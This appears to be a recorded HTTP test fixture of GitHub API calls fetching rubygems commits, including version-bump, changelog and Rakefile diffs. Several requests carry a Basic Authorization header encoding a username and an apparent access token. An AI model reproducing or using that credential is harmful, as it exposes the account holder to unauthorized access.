5d917809a27a5881ddf3c0b5543b011f/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/55df5dbb5d917809a27a5881ddf3c0b5543b011f/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=55df5dbb5d917809a27a5881ddf3c0b5543b011f","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.2\"\n+ VERSION = \"2.7.3\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9bde8cd05e9e2f4a73d6783f09896dd551b58ebe body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4541' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f8ab89854f85d309d45d116526ce5d9e" Last-Modified: - Tue, 28 Nov 2017 11:04:07 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046869' X-Github-Request-Id: - A1F4:4D95:F47BF4:1C832E5:5A50E464 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiI5YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQxMTowNDowN1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTExLTI4VDExOjA0OjA3WiJ9LCJtZXNzYWdlIjoiVXBkYXRlIEhpc3RvcnkgZm9yIFJHIDIuNy4zIHJlbGVhc2UuXG5cbiAgKiBNb3ZlIHNvbWUgZW50cmllcyBvbiAyLjcuMCByZWxlYXNlLiBCZWNhdXNlIHRoZXkgYXJlIGxvY2F0ZWQgb25cbiAgICB3cm9uZyBjYXRlZ29yeS4gSXQncyBteSBtaXN0YWtlLiIsInRyZWUiOnsic2hhIjoiZjk3ZjAwNzA4ZDIzMDhlNDI1MzY5MjVkZWRiYjk4MTg3OGIwYjcwNCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Y5N2YwMDcwOGQyMzA4ZTQyNTM2OTI1ZGVkYmI5ODE4NzhiMGI3MDQifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvZFF2WUFDZ2tRK2M4VFFYSmtcbitzSUw0d2Y5SHFVVy8yR2JMRUFBMlg3M3A0eFUwK3IwM2lOUGh2endvSVZSTUFvR3BQUmVEL1FKS3ZOVTRjZzhcblNyWXZZaGl3S2ZURmNNaWJLVVNDTHNpR0V6ekZseERoL09sc0d2U002VW9WbGxUZHB5c0dxR3l1SVgxb3ZTQW5cbk9hV3RsU1ppRks1TXZFN2VqSEcrclU5cC80b0ZpcjVDVTRXY1NPeVI1ZTZGS1JMTmsxcjlGbFd5ZlNoZ0JsMitcblVzQTNIWGtGd2c2MHNJVFhFWjBxVHM5aGplSFJ1U2RISnB4SmJtM0cyRk9wS3NzRnd4bFh1eDU1djY3aXdMSWlcbmVyZHJBNlI3alhISWI5aDRSWnB2VURkNDdXbTZINmQzcXd0bS9xV294V1ZGS1ltbjhzd1pUODZFekJUelBQa3JcbnBLMGE2bmpxUGI4K0ZwN0hpMEZIVE84VkI0eWZoZz09XG49eEVPNlxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZjk3ZjAwNzA4ZDIzMDhlNDI1MzY5MjVkZWRiYjk4MTg3OGIwYjcwNFxucGFyZW50IGQ4ZGI4MzZjOWQ3ODM0YzRjY2QxMDc5ZGUzMDJhNDI5MDY2NGRjMWFcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMTg2NzA0NyArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTExODY3MDQ3ICswOTAwXG5cblVwZGF0ZSBIaXN0b3J5IGZvciBSRyAyLjcuMyByZWxlYXNlLlxuXG4gICogTW92ZSBzb21lIGVudHJpZXMgb24gMi43LjAgcmVsZWFzZS4gQmVjYXVzZSB0aGV5IGFyZSBsb2NhdGVkIG9uXG4gICAgd3JvbmcgY2F0ZWdvcnkuIEl0J3MgbXkgbWlzdGFrZS5cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzliZGU4Y2QwNWU5ZTJmNGE3M2Q2NzgzZjA5ODk2ZGQ1NTFiNThlYmUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWJkZThjZDA1ZTllMmY0YTczZDY3ODNmMDk4OTZkZDU1MWI1OGViZSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZDhkYjgzNmM5ZDc4MzRjNGNjZDEwNzlkZTMwMmE0MjkwNjY0ZGMxYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kOGRiODM2YzlkNzgzNGM0Y2NkMTA3OWRlMzAyYTQyOTA2NjRkYzFhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q4ZGI4MzZjOWQ3ODM0YzRjY2QxMDc5ZGUzMDJhNDI5MDY2NGRjMWEifV0sInN0YXRzIjp7InRvdGFsIjo2MiwiYWRkaXRpb25zIjo0OCwiZGVsZXRpb25zIjoxNH0sImZpbGVzIjpbeyJzaGEiOiIzNWEzOGUzYmEwYjM5ODkwMTcxOTI2NWQ0OTdhYThjNzdiODlkZjE0IiwiZmlsZW5hbWUiOiJIaXN0b3J5LnR4dCIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjo0OCwiZGVsZXRpb25zIjoxNCwiY2hhbmdlcyI6NjIsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvOWJkZThjZDA1ZTllMmY0YTczZDY3ODNmMDk4OTZkZDU1MWI1OGViZS9IaXN0b3J5LnR4dCIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3LzliZGU4Y2QwNWU5ZTJmNGE3M2Q2NzgzZjA5ODk2ZGQ1NTFiNThlYmUvSGlzdG9yeS50eHQiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL0hpc3RvcnkudHh0P3JlZj05YmRlOGNkMDVlOWUyZjRhNzNkNjc4M2YwOTg5NmRkNTUxYjU4ZWJlIiwicGF0Y2giOiJAQCAtMSw1ICsxLDM5IEBAXG4gIyBjb2Rpbmc6IFVURi04XG4gXG4rPT09IDIuNy4zXG4rXG4rTWlub3IgZW5oYW5jZW1lbnRzOlxuK1xuKyogUmVtb3ZlZCBuZWVkbGVzcyB2ZXJzaW9uIGxvY2suIFB1bGwgcmVxdWVzdCAjMjA3NCBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBBZGQgLS1bbm8tXWNoZWNrLWRldmVsb3BtZW50IG9wdGlvbiB0byBjbGVhbnVwIGNvbW1hbmQuIFB1bGwgcmVxdWVzdFxuKyAgIzIwNjEgYnkgTGluIEplbi1TaGluIChnb2RmYXQpLlxuKyogTWVyZ2UgZ2xvYiBwYXR0ZXJuIHVzaW5nIGJyYWNlcy4gUHVsbCByZXF1ZXN0ICMyMDcyIGJ5IEthenVoaXJvXG4rICBOSVNISVlBTUEuXG4rKiBSZW1vdmVkIHdhcm5pbmdzIG9mIHVudXNlZCB2YXJpYWJsZXMuIFB1bGwgcmVxdWVzdCAjMjA4NCBieSBTSElCQVRBXG4rICBIaXJvc2hpLlxuKyogQ2FsbCBTUERYLm9yZyB1c2luZyBIVFRQUy4gUHVsbCByZXF1ZXN0ICMyMTAyIGJ5IE9sbGUgSm9uc3Nvbi5cbisqIFJlbW92ZSBtdWx0aSBsb2FkIHdhcm5pbmcgZnJvbSBwbHVnaW5zIGRvY3VtZW50YXRpb24uIFB1bGwgcmVxdWVzdCAjMjEwM1xuKyAgYnkgVGhpYmF1bHQgSm91YW4uXG4rXG4rQnVnIGZpeGVzOlxuK1xuKyogRml4IHRlc3QgZmFpbHVyZSBvbiBBbHBpbmUgTGludXguIFB1bGwgcmVxdWVzdCAjMjA3OSBieSBFbGxlbiBNYXJpZVxuKyAgRGFzaC5cbisqIEF2b2lkIGVuY29kaW5nIGlzc3VlcyBieSB1c2luZyBiaW5yZWFkIGluIHNldHVwLiBQdWxsIHJlcXVlc3QgIzIwODkgYnlcbisgIE1hdXJvIE1vcmFsZXMuXG4rKiBGaXggcmFrZSBpbnN0YWxsX3Rlc3RfZGVwcyBvbmNlIHRoZSByYWtlIGNsZWFuX2VudiBkb2VzIG5vdCBleGlzdC4gUHVsbFxuKyAgcmVxdWVzdCAjMjA5MCBieSBMdWNhcyBPbGl2ZWlyYS5cbisqIFByZXZlbnQgdG8gZGVsZXRlIHRvIFwiYnVuZGxlci1cIiBwcmVmaXggZ2VtIGxpa2UgYnVuZGxlci1hdWRpdC4gUHVsbFxuKyAgcmVxdWVzdCAjMjA4NiBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBHZW5lcmF0ZSAuYmF0IGZpbGVzIG9uIFdpbmRvd3MgcGxhdGZvcm0uIFB1bGwgcmVxdWVzdCAjMjA5NCBieSBTSElCQVRBXG4rICBIaXJvc2hpLlxuKyogV29ya2Fyb3VuZCBjb21tb24gb3B0aW9ucyBtdXRhdGlvbiBpbiBHZW06OkNvbW1hbmQgdGVzdC4gUHVsbCByZXF1ZXN0XG4rICAjMjA5OCBieSBUaGliYXVsdCBKb3Vhbi5cbisqIENoZWNrIGdlbXMgZGlyIGV4aXN0ZW5jZSBiZWZvcmUgcmVtb3ZpbmcgYnVuZGxlci4gUHVsbCByZXF1ZXN0ICMyMTA0IGJ5XG4rICBUaGliYXVsdCBKb3Vhbi5cbisqIFVzZSBzZXR1cCBjb21tYW5kIC0tcmVnZW5lcmF0ZS1iaW5zdHVicyBvcHRpb24gZmxhZy4gUHVsbCByZXF1ZXN0ICMyMDk5XG4rICBieSBUaGliYXVsdCBKb3Vhbi5cbitcbiA9PT0gMi43LjJcbiBcbiBCdWcgZml4ZXM6XG5AQCAtOTcsNiArMTMxLDIwIEBAIE1pbm9yIGVuaGFuY2VtZW50czpcbiAgIEdpZGRpbnMuXG4gKiBbVmVyc2lvbl0gTWFrZSBoYXNoIGJhc2VkIHVwb24gY2Fub25pY2FsIHNlZ21lbnRzLiBQdWxsIHJlcXVlc3QgIzE2NTkgYnlcbiAgIFNhbXVlbCBHaWRkaW5zLlxuKyogQWRkIFJ1YnkgVG9nZXRoZXIgQ1RBLCByZWFycmFuZ2UgUkVBRE1FIGEgYml0LiBQdWxsIHJlcXVlc3QgIzE3NzUgYnlcbisgIE1pY2hhZWwgQmVybnN0ZWluLlxuKyogVXBkYXRlIENvbnRyaWJ1dGluZy5yZG9jIHdpdGggbmV3IGxhYmVsIHVzYWdlLiBQdWxsIHJlcXVlc3QgIzE3MTYgYnlcbisgIEx5bm4gQ3lyaW4uXG4rKiBBZGQgLS1ob3N0IHNhbXBsZSB0byBoZWxwLiBQdWxsIHJlcXVlc3QgIzE3MDkgYnkgQ29kZSBBaHNzLlxuKyogQWRkIGEgaGVscGZ1bCBzdWdnZXN0aW9uIHdoZW4gYGdlbSBpbnN0YWxsYCBmYWlscyBkdWUgdG8gcmVxdWlyZWRfcnVi4oCmLlxuKyAgUHVsbCByZXF1ZXN0ICMxNjk3IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogQWRkIGNlcnQgZXhwaXJhdGlvbiBsZW5ndGggZmxhZy4gUHVsbCByZXF1ZXN0ICMxNzI1IGJ5IEx1aXMgU2FnYXN0dW1lLlxuKyogQWRkIHN1Ym1vZHVsZSBpbnN0cnVjdGlvbnMgdG8gbWFudWFsIGluc3RhbGwuIFB1bGwgcmVxdWVzdCAjMTcyNyBieVxuKyAgSm9zZXBoIEZyYXppZXIuXG4rKiBBbGxvdyB1c2FnZSBvZiBtdWx0aXBsZSBgLS12ZXJzaW9uYCBvcGVyYXRvcnMuIFB1bGwgcmVxdWVzdCAjMTU0NiBieVxuKyAgSmFtZXMgV2VuLlxuKyogV2FybiB3aGVuIHJlcXVpcmluZyBkZXByZWNhdGVkIGZpbGVzLiBQdWxsIHJlcXVlc3QgIzE5MzkgYnkgRWxsZW4gTWFyaWVcbisgIERhc2guXG4gXG4gQ29tcGF0aWJpbGl0eSBjaGFuZ2VzOlxuIFxuQEAgLTExMiwyMCArMTYwLDYgQEAgQ29tcGF0aWJpbGl0eSBjaGFuZ2VzOlxuICAgUHVsbCByZXF1ZXN0ICMxNzMxIGJ5IEpvbiBNb3NzLlxuICogVXBkYXRlIENvZGUgb2YgQ29uZHVjdCB0byBDb250cmlidXRvciBDb3ZlbmFudCB2MS40LjAuIFB1bGwgcmVxdWVzdFxuICAgIzE3OTYgYnkgTWF0ZWouXG4tKiBBZGQgUnVieSBUb2dldGhlciBDVEEsIHJlYXJyYW5nZSBSRUFETUUgYSBiaXQuIFB1bGwgcmVxdWVzdCAjMTc3NSBieVxuLSAgTWljaGFlbCBCZXJuc3RlaW4uXG4tKiBVcGRhdGUgQ29udHJpYnV0aW5nLnJkb2Mgd2l0aCBuZXcgbGFiZWwgdXNhZ2UuIFB1bGwgcmVxdWVzdCAjMTcxNiBieVxuLSAgTHlubiBDeXJpbi5cbi0qIEFkZCAtLWhvc3Qgc2FtcGxlIHRvIGhlbHAuIFB1bGwgcmVxdWVzdCAjMTcwOSBieSBDb2RlIEFoc3MuXG4tKiBBZGQgYSBoZWxwZnVsIHN1Z2dlc3Rpb24gd2hlbiBgZ2VtIGluc3RhbGxgIGZhaWxzIGR1ZSB0byByZXF1aXJlZF9ydWLigKYuXG4tICBQdWxsIHJlcXVlc3QgIzE2OTcgYnkgU2FtdWVsIEdpZGRpbnMuXG4tKiBBZGQgY2VydCBleHBpcmF0aW9uIGxlbmd0aCBmbGFnLiBQdWxsIHJlcXVlc3QgIzE3MjUgYnkgTHVpcyBTYWdhc3R1bWUuXG4tKiBBZGQgc3VibW9kdWxlIGluc3RydWN0aW9ucyB0byBtYW51YWwgaW5zdGFsbC4gUHVsbCByZXF1ZXN0ICMxNzI3IGJ5XG4tICBKb3NlcGggRnJhemllci5cbi0qIEFsbG93IHVzYWdlIG9mIG11bHRpcGxlIGAtLXZlcnNpb25gIG9wZXJhdG9ycy4gUHVsbCByZXF1ZXN0ICMxNTQ2IGJ5XG4tICBKYW1lcyBXZW4uXG4tKiBXYXJuIHdoZW4gcmVxdWlyaW5nIGRlcHJlY2F0ZWQgZmlsZXMuIFB1bGwgcmVxdWVzdCAjMTkzOSBieSBFbGxlbiBNYXJpZVxuLSAgRGFzaC5cbiBcbiBCdWcgZml4ZXM6XG4gIn1dfQ== http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d8db836c9d7834c4ccd1079de302a4290664dc1a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4540' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3e7c4249d82c5fdad004ec7ef3333525" Last-Modified: - Tue, 28 Nov 2017 10:10:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045630' X-Github-Request-Id: - A1F6:4D96:971549:13A3559:5A50E464 body: encoding: ASCII-8BIT string: '{"sha":"d8db836c9d7834c4ccd1079de302a4290664dc1a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-28T10:10:21Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-28T10:10:21Z"},"message":"Auto merge of #2105 - hsbt:ignore-rdoc-publish, r=hsbt\n\nIgnored to publish rdoc documentation of rubygems for docs.seattlerb.org\n\nhttp://docs.seattlerb.org/rubygems seems to an obsoleted site. I removed uploading task from postrelease tasks.\n\nWe need to move GitHub pages like \"https://rubygems.github.com/documentation/\".","tree":{"sha":"2f70dd105839e92388e346dff73f135ff30cbe9f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2f70dd105839e92388e346dff73f135ff30cbe9f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d8db836c9d7834c4ccd1079de302a4290664dc1a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d8db836c9d7834c4ccd1079de302a4290664dc1a","html_url":"https://github.com/rubygems/rubygems/commit/d8db836c9d7834c4ccd1079de302a4290664dc1a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d8db836c9d7834c4ccd1079de302a4290664dc1a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d57c530ec72b7024fe0c1a160f853794ea14a45c","url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","html_url":"https://github.com/rubygems/rubygems/commit/d57c530ec72b7024fe0c1a160f853794ea14a45c"},{"sha":"eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","url":"https://api.github.com/repos/rubygems/rubygems/commits/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","html_url":"https://github.com/rubygems/rubygems/commit/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef"}],"stats":{"total":11,"additions":6,"deletions":5},"files":[{"sha":"67e4c25d5158f19ce748bc15a73129d1b0f038d8","filename":"Rakefile","status":"modified","additions":6,"deletions":5,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/d8db836c9d7834c4ccd1079de302a4290664dc1a/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/d8db836c9d7834c4ccd1079de302a4290664dc1a/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=d8db836c9d7834c4ccd1079de302a4290664dc1a","patch":"@@ -168,7 +168,7 @@ end\n \n task :prerelease => [:clobber, :check_manifest, :test]\n \n-task :postrelease => %w[upload guides:publish blog:publish publish_docs]\n+task :postrelease => %w[upload guides:publish blog:publish]\n \n file \"pkg/rubygems-#{v}\" => \"pkg/rubygems-update-#{v}\" do |t|\n require ''find''\n@@ -219,10 +219,8 @@ end\n desc \"Upload release to rubygems.org\"\n task :upload => %w[upload_to_s3]\n \n-on_master = `git branch --list master`.strip == ''* master''\n-on_master = true if ENV[''FORCE'']\n-\n-Rake::Task[''publish_docs''].clear unless on_master\n+# Ignonre to publish rdoc to docs.seattlerb.org\n+Rake::Task[''publish_docs''].clear\n \n directory ''../guides.rubygems.org'' do\n sh ''git'', ''clone'',\n@@ -266,6 +264,9 @@ namespace ''guides'' do\n desc ''Updates and publishes the guides for the just-released RubyGems''\n task ''publish''\n \n+ on_master = `git branch --list master`.strip == ''* master''\n+ on_master = true if ENV[''FORCE'']\n+\n task ''publish'' => %w[\n guides:pull\n guides:update"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 